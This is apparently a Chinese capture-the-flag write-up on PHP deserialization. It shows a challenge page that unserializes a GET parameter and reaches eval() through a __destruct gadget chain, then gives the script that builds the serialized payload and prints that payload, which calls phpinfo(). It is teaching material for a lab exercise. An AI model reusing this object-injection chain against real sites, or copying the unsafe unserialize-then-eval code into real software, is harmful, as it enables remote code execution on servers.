先查看一下站点
直接给出了源码,但没有格式化,可以通过F12查看源码,或者在本地的编译器查看
<?php
class example {
public $handle;
function __destruct(){
$this->funnnn();
} function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>
- _construct() 类的构造函数 __destruct() 类的析构函数
- 两个魔法函数
在这个代码中,创建了一个example类,一个process类,example类中有一个变量$handle,一个魔法函数__destruct(),魔幻函数中调用了函数funnnn,然而根据funnnn中的函数显示,变量handle调用了prcocess类的方法,这说明handle变量是一个process类的实例对象。
需要通过get方法输入的是一个data值,而且data值在传递进去之后,会先被反序列化一下,序列化只会保存对象的所有变量。
思路:
1.必须让handle变量是一个process类的实例化对象
2.由于process中的close()函数是eval执行语句,所以handle中的pid就可以是我们想要执行的语句
exp:
class example{
public $handle;
function __construct(){//创建实例时执行
$this->handle = new process();//创建一个process对象
}
}
class process{
public $pid;
function __construct(){
$this->pid = "phpinfo();";//创建时将pid变量设置为phpinfo();
}
}
$test = new example();
echo serialize($test);//打印payload
?>
执行后得到payload
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
使用get方法传参的data
get flag